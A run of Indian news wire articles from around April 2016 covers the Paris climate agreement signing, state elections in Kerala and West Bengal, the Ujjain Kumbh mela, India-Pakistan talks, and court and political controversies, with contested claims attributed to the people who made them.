The opening ceremony included music from students of New York's Julliard School and a short video bringing the "gavel moment" from Paris to the signature ceremony.

At 171 nations, the signing ceremony for the climate agreement set the record for the most countries to sign an international agreement on one day, previously set in 1982, when 119 countries signed the Law of the Sea Convention.

The signing is the first step toward ensuring that the agreement comes into force as soon as possible.

After the signing, countries must take the further national (or domestic) step of accepting or ratifying the agreement.

The agreement can enter into force 30 days after at least 55 Parties to the UNFCCC, accounting for at least 55 per cent of global emissions, ratify the agreement.

India has maintained that the burden of fighting climate change cannot be put on the shoulders of the poor after decades of industrial development by the rich nations.

It has announced plans to quadruple its renewable power capacity to 175 gigawatts by 2022 as part of the government's plan to supply electricity to every household.

India seeks to add 100 gigawatts of photovoltaic capacity, 60 gigawatts of wind power, 10 gigawatts of biomass and five gigawatts of hydro projects.

Finance Minister Arun Jaitley, in an address to a city- based think?tank earlier this week, had said that notwithstanding its development need, India is completely committed to protecting the climate.

"The level of development we have reached is far, still the hard reality is we have a lot of distance to cover. We need more housing, power, toilets, roads?and factories. Therefore our requirements of fuel is certainly going to increase. Notwithstanding that our own standards of protecting the environment are very rigid," Jaitley had said.

"There is a method in each one of the steps we are taking" like taxing oil, cess on coal and emphasis on alternative renewable energy, he had said.

"We are conscious of our responsibilities," he said.

A day before the signing ceremony, Javadekar had said that India has come to New York for signing the Paris agreement with "full confidence that ultimately the collective wisdom will prevail and all countries -- developed and developing -- will do their bit."

He said that every climate action has a "cost" and developed nations are asking the developing world to pay that cost.

"The developed world has caused the climate change of today because of their 100 years of relentless carbon emissions. We are much cleaner at our development stages as compared to those of the developed world," he said, adding that the developed world "behaved irresponsibly" and the developing nations are suffering.

India, which along with the United States and China, is world's top greenhouse gas emitter, has maintained that its energy needs will be enormous going forward as it needs to lift millions out of poverty, develop its infrastructure and provide basic amenities like toilets, affordable houses and expand public transport.

About 13 countries, mostly Small Island Developing States, are expected to deposit their instruments of ratification immediately after signing the agreement.

The signature ceremony is a legal formality, with only Heads of State or Government, foreign ministers, or other representatives with "formal powers" from their governments signing the agreement.

In the agreement, all countries agreed to work to limit global temperature rise to well below 2 degrees Celsius, and to strive for 1.5 degrees Celsius.

In his message on the day, Ban said the Paris accord, in conjunction with the Agenda for Sustainable Development, holds the power to transform the world.

There is only one original copy of the agreement -- it contains the full text of the agreement in the six official languages of the United Nations -- Arabic, Chinese, English, French, Russian and Spanish.

There is a page for each of the 197 Parties to the UN Framework Convention on Climate Change.

Each nation signed the agreement while seated at a table on a specially constructed stage in the UNGA hall.

French President Francois Hollande began the signing ceremony.

Speaking at a press conference this week, David Nabarro, the Secretary-General's Special Adviser on the 2030 Agenda for Sustainable Development and Climate Change, told reporters that the signing of the Paris Agreement is crucial because achieving progress in relation to climate change is central to the broader effort of achieving the SDGs.

(With Agency inputs)
New Delhi: BJP's motormouth leader Giriraj Singh's another controversial remark made at yesterday's event has stirred up a storm on social media.

As per a report in Rediff.com, Singh during an event in West Champaran on Thursday, stoked controversy by saying that most of the beef eaters are from prestigious educational institute IIT.

"Aaj samaj mein jo bachche gir gaye hain ha, gau maans kha rahein hain. Padhe likhe dus log jo gau maans kha rahein hain unmein se nau IITs ke hain (People who have fallen in society eat beef. Out of 10 educated people who eat beef, 9 are from IITs)," the report stated.

Singh on Thursday proposed to revoke the voting rights of those having more than two children in order to help develop the nation.

"If Malaysia and Indonesia can make the law then there must be a strict law. The nation won't progress without population control. There must be a balance. Hindus, Muslims, Sikhs and Christians - all must have at least one to two children. Those who don't follow, their voting rights must be revoked," Singh said.

He further stated the decline in Hindu population is worrying.

"A law is needed on population control for all religions if development is required. The people of the nation must express their thoughts and discuss it. The media showed the condition of the Hindus in Pakistan," he added.

Singh yesterday said that if India did not change its population policy and enforce a two-child norm for all religions then the daughters will not be safe and might have to be kept under the veil like in Pakistan.
New Delhi: The Ministry of External Affairs on Friday termed the attack on a gurudwara in Germany an act of terrorism and said that at least one person has been arrested in connection with the case.

We assume this to be an act of terrorism. The police have announced an arrest of one person named Yusuf T who reported to have surrendered after a manhunt was launched, MEA spokesperson Vikas Swaroop said at a media briefing.

He said the police claimed to have got a confession that suggested that he has possible links with the IS.

"Investigation is on going and more details are awaited. We are closely monitoring the situation," he added.

The attack, believed to be carried out by radical Islamists, took place in Germany's Essen city. Authorities said it's an "entirely new" strike targeting the Sikhs.

The blast was a "religious motivated terror of the Islamist scene", Essen's police commissioner Frank Richter said yesterday.

A powerful explosion on Saturday ripped through the entrance hall of the gurudwara during a wedding ceremony, shattering the windowpanes and injuring three persons, including the priest.

The interior minister of the state of North Rhine Westphalia Ralf Jaeger called for a thorough investigation to establish to what extent the two youths, who were detained after the attack, were radicalised by jihadists.

Around 70 police officials are working round-the-clock to investigate the entire background of the attack and to evaluate large amount of evidences collected.

More arrests in this connection cannot be ruled out, Richter said.

He assured the Sikh community that they can feel secure in the city and the authorities would do everything to protect them.
New Delhi: Pakistan High Commissioner Abdul Basit on Friday evening said the leadership of India and Pakistan is "determined" to pursue the peace process, but Islamabad still awaits New Delhi`s response on resumption of Foreign Secretary level talks.

Interacting with members of the All India Muslim Majlis Mushwarat, an apex body of various Muslim groups at Abul Fazal Enclave, the high commissioner said that despite the terror attack on the airbase in Pathankot, communication links between the two countries did not get snapped.

"There is a need to work together to carry forward the peace process so that the South Asian region is rid of terrorism, hunger and poverty," he said.

Basit`s statement on Friday comes after he last week stated that the "peace process is suspended", which was contradicted by the Pakistan foreign ministry on the same day.

On Friday, the Indian Ministry of External Affairs spokesperson Vikas Swarup, said at a briefing, that "talks with Pakistan are not suspended".

Earlier, Basit was welcomed by Mushawarat Chief Navid Hamid, Secretary General Mujtaba Farooqi and other members.

Basit said it is strange that SAARC had not achieved the desired goal of regional cooperation like other regional blocs in the world due to various disputes among the member countries. "It is time for us to resolve these issue amicably and peacefully," he said.

He added that the efforts to this end of both Prime Minister Narendra Modi and his Pakistani counterpart Nawaz Sharif "are highly laudable".

Referring to the condition of minorities in Pakistan, the envoy claimed that they are not facing any discrimination or victimisation.

In fact Pakistan faces more sectarian violence and clashes than attacks on minorities, he said.

The high commissioner said that adequate representation is given to minorities in legislative assemblies and the national assembly. He acknowledged that the Blasphemy Law is "misused" by some forces. However, he said that more Muslims were held guilty under this law than non-Muslims.

He said that there is only three percent minorities in the country. "A bogey has been raised that at the time of creation of Pakistan there was more than 23 per cent minorities, and now only three per cent. No one understands the fact that bulk percentage of minorities were livng in East Pakistan, now Bangladesh," he said.

He praised the progress achieved by Muslims in all fields in India. He also mentioned the role of Indian religious leaders and others in their secular approach.

Basit said that "some elements are trying to malign Islam for their own vested interests".

"We need to work together for unity among Muslims who are divided today on the basis of sect, ideology and region."

He said that India is the second largest Muslims nation in the world and the country`s secular and democratic system enables them to get opportunities in development of the nation.

The high commissioner said that Pakistan has also made strides in various fields.
New Delhi: The Ministry of External Affairs on Friday clarified that talks between India and Pakistan were not suspended, days after the Pakistani envoy here triggered a controversy over his remarks on the Indo-Pak dialogue.

The dialogue process with Pakistan has not been suspended and the visit of Pakistan's Joint Investigation Team (JIT) to probe the Pathankot airbase attack was "very constructive", it said.

JIT's visit to Pathankot came in a "in a very constructive and cooperative environment", external affairs ministry spokesperson Vikas Swarup said at a media briefing here.

"We welcome cooperation to combat terrorism in all its forms," he added.

Swarup also stressed that the dialogue process with Islamabad "has not been suspended".

Pakistan's envoy to New Delhi had created furore after he stated in the media that the dialogue process between the two countries has been suspended.

Islamabad blamed the Indian media for creating a "hype" over his remarks.

"Pakistan and India are two neighbours which must live in peace and harmony. The hype created by the Indian media over Mr (Abdul) Basit's remarks was neither warranted nor required," Pakistan Foreign Office Spokesperson Nafees Zakaria said at his weekly briefing.

"This question has been repeatedly asked and I will only add to what has been said earlier is that Pakistan will be ready to talk when India is ready. I would not enter into the debate of what words were used by both sides," Zakaria said while answering a question about Abdul Basit's remarks.
Washington: An Indian-origin former CIA officer is facing extradition from Portugal to Italy and a possible four-year jail term for her alleged role in the American intelligence agency's abduction of an Egyptian cleric in 2003 from Milan, according to a media report.

Sabrina De Sousa, 60, who has a dual citizenship of the US and Portugal, told The Washington Post that she played no role in Egyptian cleric Hassan Mustafa Osama Nasr's, also known as Abu Omar, kidnapping. She lives in Portugal while her 90-year- old mother lives in India.

She was among 26 Americans convicted in absentia by Italian courts for her alleged role in the February 2003 rendition of Omar.

She faces no threat for imprisonment in Italy as she moved back to the US long before the Italian trial began. However, she was detained in Lisbon last year by Portugal authorities in response to a European arrest warrant.

"This week, Portugal's highest court upheld the country's lower courts' rulings, declared that they did not violate the constitution, and said De Sousa should be sent to Italy as soon as May 4," the Post reported yesterday.

At the same time, Portugal's Constitutional Court also reiterated a condition set by the lower courts and guaranteed by Italy in De Sousa's European arrest warrant that once she arrives in Italy, she must be given another trial or a chance to appeal with new evidence, and the ability to call Italian and US witnesses, because she had been tried in absentia, the daily reported.

"De Sousa's extradition and potential imprisonment would be an astonishing turn of events for a case that raises major questions about how much diplomatic protection CIA case officers abroad possess when carrying out operations sanctioned by their superiors," the paper said.

Benjamin Fischer, a former CIA chief historian, described this as unprecedented. In her interview to the daily, she rued that the CIA is not helping her. CIA declined to comment.

"Those of us who were convicted were accredited diplomats and declared to the Italian government. We instead find ourselves treated like NOCs with our US government affiliation disavowed.

"I would have never joined the CIA if I was told there was a remote possibility that I would never see my mother in Goa again and not travel abroad. This has set a terrible precedent. This rendition was funded by Congress with approval of senior government officials in the US, Italy and Egypt," De Sousa said.

It all began on February 17, 2003 when a team of CIA agents in Milan swooped down on Omar, as he walked from his apartment. He was flown to Egypt, where he was interrogated and released later.

In 2005 reports surfaced that CIA officers had allegedly broken local laws against detaining terrorist suspects in Europe.

De Sousa resigned in 2009 after she failed in her efforts to persuade the State Department to grant her immunity.

According to a 2012 report in Caravan, Sabrina grew up in Mumbai. She married a US diplomat in 1985 when she changed her citizenship. They divorced in 1996.
Lucknow: Congress vice president Rahul Gandhi on Thursday interacted with party workers over 'laiyya-chana' - a staple snack in this part of Uttar Pradesh, giving a chance to Congressmen to coin the new term for the session - 'Chane pe Charcha'.

It is seen as a counter to Prime Minister Narendra Modi's famous 'Chai pe Charcha' sessions.

Gandhi, who arrived in his parliamentary constituency late on Wednesday, interacted with party workers on Thursday and visited the homes of some party loyalists to express his condolences on death of their near and dear ones.

He will spend Friday in Amethi where he has a string of engagements.

Party leaders, while circumspect about the party's future in the state, however, conceded that Gandhi had become more accessible than before and gave them a patient hearing.
New Delhi: Environmentalist Rajendra K. Pachauri, accused of sexual harassment by his former women colleagues in the recent past, on Thursday announced that he has stepped down as a member of the Governing Council of The Energy and Resources Institute (TERI).

Interestingly, his announcement came after a media report claimed that the green body has decided to "sever" its association with Pachauri even though his employment contract with TERI expires in 2017.

The report added that the Governing Council had also decided to pay all the dues for the remainder of his tenure and bring an immediate end to it.

Pachauri, however, maintained that his term as a member of TERI Governing Council ended on March 31, 2016 and he felt it was time "for me to move away and get engaged in other interests which I have harboured over the past few years for activities at the global level".

Pachauri said he was issuing the statement "to provide the media with information" about his "stepping down" from TERI's Governing Council, suggesting the decision to call time on his association with the organisation was voluntary.

In his statement, Pachauri said the TERI staff was its "greatest treasure" which under the new Director General will take the Institute to much greater heights in the years ahead.

"I have had the good fortune of leading TERI for three decades and a half and have received the priceless contribution from thousands of colleagues over the years in building up this Institute to level of an outstanding organisation.

Pachauri"I began with TERI as the articulation of my dream and humanity's call for a major intellectual resource, which has now grown to a size and spread straddling the whole world, with a staff strength of around 1200 professionals and world class infrastructure and expertise," he said. Pachauri said he had "greatly" benefited from the support the green body had "always" provided.

Pachauri was removed from the post of Director General last year after an FIR was filed against him following a complaint of sexual harassment made by a junior woman colleague. The Delhi Police had charge-sheeted him in the case early this year.

Despite the controversy, the green body's Governing Council created a fresh post of executive vice chairman for Pachauri, triggering an outrage, following which he was asked to proceed on leave.

Earlier this year, two more former employees of TERI, one of them a foreign national, had also accused him of sexual harassment.

Former finance secretary Ashok Chawla was recently appointed chairman of TERI's Governing Council.

(With PTI inputs)
Ujjain: Braving scorching heat, a multitude of sadhus along with their disciples chanting 'Jai Shri Ram' took 'shahi snan' (royal bath) at Ramghat in Shipra river here Friday noon on the opening day of the month-long Simhastha-Kumbh mela.

People drawn from different parts of the country and abroad are taking part in the Kumbh mela, one of the largest congregations of Hindus, which for the first time is witnessing the participation of the transgenders, who have put up an Akhara (temporary monastery) and announced to take a holy dip at the Gandharav Ghat of Shipra on May 9.

"I am overwhelmed to be part of this awesome human gathering. I came here since yesterday," George Sauuahq, a Frenchman told PTI.

He said that he has come to India with a group of 12 persons from Paris.

"We made a point to stand witness to this mega event after coming to know about it," he said as he scrambled to shoot photos of the sadhus in different hues and attires at Ramghat.

Wheelchair-bound Tervani Devi (76) and her husband Durga Prasad (82) came to Shipra, that has been revived by pumping in the Narmada water, for the occasion, to take a holy dip, all the way from Hyderabad.

Tervani said that she was delighted after taking the royal bath.

Congress General Secretary Digvijay Singh also took a bath at Gaughat on the opening day of the Simhastha.

At around 8.15 AM a stampede like situation was witnessed at Chhoti Pool area at the entrance of Ramghat when large number of seers in processions descended for the royal bath.

However, the situation was brought under control by the authorities swiftly.

Bada Udasin Akhara Pontiff Raghu Muni Maharaj along with others squatted at Ramghat for a while and protested against the vehicular traffic in the mela area.

He said that the vehicular traffic was obstructing seers' way to the ghat. However, he lifted his protest after government officials intervene.

Earlier, the Kumbh mela kicked off with Naga Sadhu of Juna Akhara venturing into the river around 5 AM. Their head, Avdheshnandji Maharaj, who came in a huge procession took the 'shahi snan' amid tight security arrangements.

"As of now, all things are going on smoothly. Around 25,000 security personnel including central forces have been deployed to conduct the 'shahi snan'," Inspector General of Police, Ujjain, Madhu Kumar told PTI at Ramghat at noon.

Meanwhile, lakhs of people thronged the roads leading to the ghats of Shipra river and waiting in serpentine queues to take the royal bath during the Mela which is being held here after a gap of 12 years.

Ujjain is also the abode of Lord Mahakaleshwar, one of the 12 'jyotirlings' in the country.

"Over five crore pilgrims are expected to visit Ujjain and other holy places during the Kumbh, for which elaborate security and logistical arrangements have been made," Madhya Pradesh Chief Minister Shivraj Singh Chouhan had said last evening on the eve of the mela at Bhopal.
Agartala: The Islamic State of Iraq and the Levant has snubbed Sri Sri Ravi Shankars attempt to initiate talks with the terror group by sending the spiritual leader a photograph of a beheaded man.

Talking to media in Agartala on Thursday, Ravi Shankar said: I tried to initiate peace talks with the ISIS (Islamic State of Iraq and Syria) recently but they sent me a photograph of a beheaded body of a man. Thus, my effort for a peace dialogue with the ISIS ended.

I think the ISIS does not want any peace talks, he told the media.

Hence, they should be dealt by military.

The 59-year-old left Agartala on Thursday for Kolkata after a three-day visit to Tripura.

Holding a series of meetings across the state, he stressed on the need to bring peace to Indias northeastern region.

Ravi Shankar urged the militant outfits of the region to hold peace talks with the government.

He also said the National Green Tribunals decision to fine the Art of Living Foundation Rs 5 crore for allegedly causing environmental damage to the Yamuna flood plains in Delhi was politically motivated.

(With IANS inputs)
Kolkata: Altogether 82.28 percent voters exercised their franchise on Thursday in the third phase of the West Bengal assembly poll comprising 62 constituencies in four districts, election commission officials said on Friday.

Maximum polling (88.95 percent) was recorded at Khandaghosh constituency of Burdwan district where a number of incidents of poll violence were recorded.

The lowest voter turn-out (53.62 percent) was at Jorasanko seat in north Kolkata.

Of the 62 constituencies, 22 were in Murshidabad, 17 in Nadia, seven in north Kolkata and 16 in Burdwan.

Voter turn-out at Domkol constituency in Murshidadbad where Communist Party of India-Marxist activist Tahidul Mondal was killed in poll violence, was 83.54 percent.

Among north Kolkata`s constituencies, voter turn was highest at Entally (70.67percent), followed by Maniktala (69.66 percent) and Shyampukur (68.28 percent)
Mumbai: Union Railways Minister Suresh Prabhu, who is doing his level best to improve the services offered by the Indian Railways, took everyone by surprise by travelling in a local train here on Thursday.

According to media reports, Prabhu boarded a train from Currey Road station - where he was present for a stone laying ceremony for new foot over bridge (FOB) - all the way till Chhatrapati Shivaji Terminus (CST) station.

Prabhu, whose train ride was an unplanned event, also interacted with commuters so as to get a first-hand experience of the problems faced by them while travelling in local trains.

During the journey, the co-travellers complained to him about everything from the poor condition of the rails to filthy urinals and toilets.

MR @sureshpprabhu traveled in a packed local though passengers excitedly offered seat which he politely refused. pic.twitter.com/kRLtOl5l3R  Mumbai Railway Users (@mumbairailusers) April 21, 2016

Interestingly, a commuter also invited him to a wedding and requested the minister to accept it.

The commuters later offered Prabhu a seat, but he politely refused and kept standing all the way till CST.

Prabhu later alighted at the Chhatrapati Shivaji Terminus (CST) from where he left for Mantralaya (State Secretariat), where he, along with Maharashtra Chief Minister Devendra Fadnavis, briefed media on upcoming rail projects in the state.
New Delhi: The BJP on Friday accused the Congress and former home minister P. Chidambaram of "compromising national security" for their political gains.

"In this era of global terrorism, when India is among its biggest victims, the Congress has practised very low-level politics and compromised on national security for its political gains," BJP spokesperson Sudhanshu Trivedi told the media at the party headquarters here.

He questioned as to how could the Congress humiliate an entire community through the term "Hindu terror".

"The BJP as a party has never associated terrorism with any particular community, sect or religion. But the Congress functionaries, for their political gains, repeatedly used the term `Hindu terror` and `saffron terror`," Trivedi said.

"How can you associate a colour which is part of our national flag with terrorism?" he said.

In the context of Ishrat Jahan shootout and Samjhauta Express blast, Trivedi said that although the National Investigation Agency lodged the First Information Reports (FIRs) in 2011, but the Congress leaders had started using the term `Hindu terror` back in 2009.

"Was it premonition or was it their prejudice coming to the fore," Trivedi asked.

Raking up the Ishrat Jahan case, Trivedi said that Chidambaram must tell whether he informed - and if yes, at what point - the then prime minister Manmohan Singh and the UPA chairperson Sonia Gandhi "when the altered the second affidavit" that made "investigative agencies took a sudden U-turn" on the Ishrat Jahan case.

Trivedi also alleged that the Congress had communalised the country`s education system, apart from the process of disbursing bank loans on communal lines.
Jamshedpur: Former Jharkhand Congress president and Rajya Sabha MP Pradip Kumar Balmuchu on Friday stressed on unity among Opposition parties to defeat BJP in the next Assembly polls in the state.

"Now on we should shelve all our differences and come under a platform to defeat BJP in the state," Balmuchu said while responding to a query about the bypolls scheduled to be held for Godda and Panki Assembly seats next month.

Addressing a press conference here, Balmuchu said a co-ordination committee meeting of the Jharkhand Pradesh Congress Committee (JPCC) was on in Ranchi today to explore possibilities to contest the by-polls in alliance with JMM.

When his attention was drawn to the fact that the main Opposition party in the state, JMM, has decided to go it alone and likely to announce the names of candidates for the two seats today in Ranchi, Balmuchu said JMM was free to take decision, but Congress wants to contest the by-polls in an alliance to defeat the BJP.

"The by-polls are a good opportunity for the Opposition to come under one platform to defeat BJP in the next Assembly elections in 2020," he said.

Bypolls for Godda and Panki Assembly constituencies in Jharkhand would be held on May 16.

Referring to the High court verdict regarding the Uttarakhand government, Balmuchu hailed the judgement and said it would repose people's faith in judiciary.

"The court verdict was a victory of democracy and a befitting reply to those forces who wanted to strangulate it," he said.
Thiruvananthapuram: He is 92 but veteran CPI-M leader V.S. Achuthanandan, former Kerala chief minister, who is aiming for the post again, has got more than a lakh 'likes' on his five-day-old Facebook page.

A statement issued from his office on Friday said this was achieved without any paid campaign.

Achuthanandan is the most popular campaigner today in the electioneering that's gathering pace for the May 16 assembly polls.

On the flipside, a WatsApp message about the veteran starting an FB page has gone viral and it shows Achuthanandan telling an old lady: "I have started a FB page and you please extend a like." The lady replies: "In our heydays, you were against computers. And now you come with this? Please go away."

Meanwhile, the office of Kerala Chief Minister Oommen Chandy told IANS that his FB page was started in 2012 and the `likes` have crossed nine lakh now.

"There will always be a surge when hugely popular personalities enter the social media, but to sustain it is more important," said an aide of Chandy.

Ace comedian and Congress candidate from the Pathanapuram assembly constituency in Kollam district Jagdish, who started his FB page on April 5, has crossed 12,000 `likes`.

"While Achuthanandan has managed a 'like' from across the state and outside, Jagdish's 'likes' have more or less come from his constituency and from an election point of view, that's good," said the person managing the actor's site.
Thiruvananthapuram: The filing of nominations for the upcoming Assembly Election in Kerala will begin on Friday.

The notification for the Assembly polls would be issued today and the last date for filing of nominations is April 29.

Scrutiny would take place on April 30 and last date for withdrawal is May 02.

The polls will be held on May 16 and counting is on May 19.

Congress-led ruling UDF, CPI-M headed LDF and BJP alliance have intensified their campaign.

Meanwhile, Election Department said it would roll out several monitoring and reporting mechanisms such as Mobile App-based poll monitoring, Web casting and video recording with the help of Kerala State IT Mission.

The poll day monitoring process starts the day before the actual polling. Smooth flow of poll-related information from polling booths to officials, including Chief Electoral officer and Election Commission of India, will be ensured using an android and SMS-based mechanism, an official release said.

Chief Minister Oommen Chandy, spearheading the UDF campaign along with KPCC president, VM Sudheeran and Home Minister Ramesh Chennithala, has already completed one round of electioneering across the state.

93-year-old CPI-M stalwart, VS Achuthanandan, who has started campaigning from North Kerala, is the main campaigner for his party-led LDF.

On the other hand, BJP is approaching voters by presenting itself as the 'third alternative' to UDF and LDF.

Chandy and 18 of his cabinet colleagues, eight from Congress and ten from other UDF constituents figure among those fielded for the election.

Congress is contesting 86 of the 140 Assembly seats in the state, leaving the rest to its partners. IUML, second largest UDF partner, has been allotted 24 seats, followed by KC-M 15, JD-U seven, RSP five, KC-J 2 and CMP one seat.

In contrast, CPI-M has fielded candidates in 92 constituencies, CPI-27, JD(S) five, NCP four, Congress (S) 1.

Other parties supporting LDF from outside-Janadhipatiya Kerala Congress four; INL three; Kerala Congress (B), a CMP faction, Kerala Congress scaria, RSP (Leninst)-- one each. (BJP has forged an alliance with Bharat Dharma Jana Sena

(BDJS), a new party formed by Sree Narayana Dharma Paripalana Yogam (SNDP), a social organisation of backward Ezhava community, allotting it 37 seats. BJP would contest in 97 seats while for the remaining six seats, it has reached an understanding with small parties.

BJP's key candidates include 86-year-old former Union Minister O Rajagopal, state president Kummanon Rajasekharan, V Muraleedharan, CK Padmanabhan, PK Krishnadas and PS Sreedharan Pillai and firebrand woman leader Shobha Surendran.

A total of 35,946 electronic voting machines would be used during polling. There would 21,498 polling stations which is 3.5 per cent more than the last polls in 2011.

At least 1.50 lakh officials would be deployed for polling process, officials said.

(With PTI inputs)
Bhopal: Drawing criticism for allegedly touching a woman 'inappropriately', Madhya Pradesh Home Minister Babulal Gaur has been summoned by Chief Minster Shivraj Singh Chouhan to give explanation on the issue, report claimed on Friday.

As per a report in Pradesh18, Chouhan is quite upset with Gaur these days and that is another reason he has summoned him.

Meanwhile, AAP delegation today met Sushma Swaraj and apprised her about Gaur's 'indecent' act.

Gaur found himself in the eye of a storm after he was caught on camera touching a woman "inappropriately".

The minister claimed "there is no truth in the clipping" and that he was directing women BJP workers to board a bus.

The purported video clip of the incident, which went viral on social media and was flashed on TV news channels, showed the veteran politician slapping the rear of a woman.

The 85-year-old former Madhya Pradesh Chief Minister was to flag off a bus in Barkheda Nathu area when the incident occur.

"I only directed women workers to board the bus quickly as it was meant for them only. There is no truth in the clip as shown. Whatever I am saying is true," Gaur told PTI.

(With Agency inputs)
Bhopal: As water crisis continues to grip various parts of the country, two children on Friday drowned in a well while trying to fetch water for drinking in Sendhwa area in Barwani district in Madhya Pradesh.

Madhya Pradesh has been facing acute shortage of water due to prevailing drought situation in the state.

Few days back, a woman set herself ablaze in Chaukri village of Harda district due to water shortage.

An 11-year-old boy died while fetching water from a well in drought-hit Beed district of Marathwada.

On Tuesday, a 12-year-old girl died due to heat stroke in Beed district, while fetching water from an almost dry handpump.

The Indian Meteorological Department (IMD) has forecast an 'above normal' Monsoon in 2016.

Due to poor Monsoon in 2015-16 crop year (July-June), 10 states have declared drought and the Centre has sanctioned relief package of about Rs 10,000 crore to help farmers.
Ujjain: Lakhs are thronging Ujjain to attend the auspicious Simhastha 2016  a month long congregation of Hindus. Several seers and 13 Akharas have queued up to take holy dip in the sacred water of river Kshipra.

However, what annoyed the Nirmohi Akhara is that the Juna Akhara took the royal bath before them.

As per a report in Pradesh18, Nirmohi Akhara has boycotted shahi snan after it found that the administration allowed Juna Akhara to take dip first.

Nirmohi Akhara has now accused the administration of biased treatment.

A large number of people from different corners of the country have converged in the holy city for the Simhastha Mela, held every 12 years at Ujjain, which is also the abode of Lord Mahakaleshwar, one of the 12 Jyotirlings in the country.

Ujjain is fully geared up to host the month-long Kumbh Mela, during which over 5 crore people including seers are expected to visit the holy city, with Madhya Pradesh Chief Minister Shivraj Singh Chouhan saying it will be a Green Simhastha.

Over 5 crore pilgrims are expected to visit Ujjain and other holy places during the fair, for which huge security and logistical arrangements have been made, including shifting of police forces from various districts to Ujjain, one of the 12 jyotirlingas and the abode of Lord Mahakaleshwar, Mr. Chouhan said on Thursday evening on the eve of the Mela.

Congress general secretary Digvijaya Singh also took bath at Gaughat on the opening day of the Simhastha.Simhastha.

(With PTI inputs)
Mumbai: After leading a successful campaign seeking entry of women in Shani Shingnapur Temple in Ahmednagar and Trimbakeshwar Shiva Temple in Nashik, Bhumata Brigade president Trupti Desai will now spearhead a forum to enter the iconic Haji Ali Dargah in Mumbai.

More than 20 outfits, NGOs and human right activists on Wednesday announced formation of 'Haji Ali Sabke Liye' to peacefully campaign against the ban on entry of women into the interiors of the 15th century Sufi shrine, located on a small islet in the Arabian Sea and visited by hundreds of people everyday.

A "peaceful movement" will be launched at Haji Ali on April 28.

A group of people briefly disrupted the announcement, saying the move was against the Sharia.

Notably, the Bombay High Court is hearing a petition challenging the Haji Ali Trust's decision to ban the entry of women into the sanctum of the shrine.

Trupti Desai said fighting for women's right was part of her mission and she would proactively take part in this movement too.

The forum is planning to launch a similar movement to demand entry into other religious places where such a ban is in place.

(With PTI inputs)
Mumbai: Former Maharashtra Deputy Chief Minister Chhagan Bhujbal, admitted to the ICU of state-run St George Hospital here after he initially complained of toothache, will be discharged in two or three days.

The veteran NCP leader was arrested in a money-laundering by the Enforcement Directorate about a month ago.

"Bhujbal was shifted from ICU to normal ward this morning after his reports were found to be normal. But we will conduct 'holter monitoring' test after which we will take final call (about discharging). He is expected to be discharged in two-three days," head of medicine unit at the hospital Dr Rohan Sequira said.

Bhujbal's blood pressure was normal and he was under constant monitoring of a team of doctors from St George and JJ Hospitals, Dr Sequira said.

"A team of cardiologists from JJ Hospital had come to examine him. When he was brought to the hospital, his blood pressure was 180/120, way beyond the normal 120/90," he said.

A probe into Bhujbal's admission to St George instead of the mandated JJ Hospital (also govt-run) has revealed that a doctor at the Arthur Road Jail manipulated papers to help the jailed leader.

Dr Rahul Ghule, accused of fudging Bhujbal's case papers, was subsequently shifted out of the Arthur Road jail and sent back to the state Health department and strict action was recommended against him.

Bipin Kumar Singh, IG Prisons, said that Bhujbal was supposed to go to St George Hospital for a dental treatment, but Ghule changed medical papers and recommended that he be admitted there for some other reason.
Mumbai: Seeking bail for former media baron Peter Mukerjea arrested in Sheena Bora murder case, his lawyer today argued in a court here that mere calls between him and his wife and prime accused Indrani Mukerjea during the period when the crime took place did not make him a conspirator.

The motive attributed by CBI for the crime (financial transactions) also was not believable, the lawyer added.

Advocate Aabad Ponda told the special CBI court here that Indrani had spoken to several people during the period, not just Peter (who was then abroad).

"Indrani had even called (senior IPS officer) Deven Bharti. If these are not objectionable, then why are Peter's calls objectionable?" the lawyer said.

On April 28, 2012, (four days after Sheena's murder) eight calls were made to Bharti, he claimed.

"He (Bharti) even did not mention it in his statement, CBI doesn't find it objectionable....I am not suggesting that Bharti is part of the conspiracy," advocate Ponda said.

CBI, in the charge-sheet, has pointed out several calls between Peter and Indrani during the concerned period to show that Peter too was party to the conspiracy to kill Sheena.

"Peter is a murderer just because he spoke to his family?" advocate Ponda said, adding that Indrani and her secretary Kajal too had several telephonic conversations.

The arguments will continue on Monday.

Peter's bail application had been rejected once earlier.

He was arrested on November 19. Other arrested accused are Indrani, her former husband Sanjeev Khanna and her driver Shyamvar Rai.

Indrani, Rai and Khanna allegedly strangled Sheena (24), Indrani's daughter from earlier relationship, in a car in April 2012. The crime came to light last August. According to CBI, the crime was linked to financial transactions.
Mumbai: With former Anti-Terrorism Squad (ATS) chief KP Raghuvanshi saying that he stood by his finding in the 2006 Malegaon blast case, defence lawyer Sanjiv Punalekar on Friday shot back Raghuvanshi and Karkare (Hemant) were merely ATS chiefs and had acted as scourges of the political masters.

"Home minister RR Patil and Abha Patil, who were acting on the instructions of Sharad Pawar, were giving direct instructions to these police officers and they were doing (following). Karkare and Raghuvanshi were acting as scourges of the political masters. They allowed their positions to be misused. So, as on date Raghuvanshi may be defending, but these officers are to be punished and they should be punished very severely," Punalekar told ANI.

Earlier in the day, Raghuvanshi said, "I stand by my finding in the 2006 Malegaon blast case. I stand by whatever I said earlier in this regard."

Reacting sharply to Raghuvanshi's stand, Punalekar said, "Raghuvanshi may say that, but you may realise that in the 2008 Malegaon blast, the accused were tormented and tortured. Sadhvi Pragaya Singh Thakur, Col. Purohit and Chaturvedi, all of them were tortured. And, the set of officers who tortured them, whether it was Rajan Ghule or Arun Khanvilkar or Sachin Kadam, were the same officers who had tortured Santosh Bagade, and the same people are coming in the 2006 blast. So, I have no hesitation in saying that in the 2006 Malegaon case, those nine Muslims were innocent and were implicated."

The nine men - Noorul Huda, Shabbir Ahmed, Raees Ahmed, Salman Farsi, Farogh Magdumi, Shaikh Mohammed Ali, Asif Khan, Mohammed Zahid and Abrar Ahmed - were arrested in 2006 for the Malegaon blasts that killed 37 and injured over 100. In November 2011, they were granted bail.

"The National Investigation Agency (NIA) has also played a role in that, so I am totally opposed to the faulty decision of the NIA and the ATS," he added.

When asked whether Karkare's death was pre-planned, he said: "Two-three political statements are coming. Digvijay Singh's statement is completely bogus. The attack was done by Pakistan with the help of some Marathi speaking Muslims of Maharashtra. This point was not investigated by the then NCP Government at all. Second statement is made by the Union Minister of State for Home, saying this was the case in which NIA was misused."

"NIA officers, whether it is Sharad Kumar or Arvind Digvijay Negi, these are the people who are very much in service, why disciplinary action was not taken against them," he sought to know.

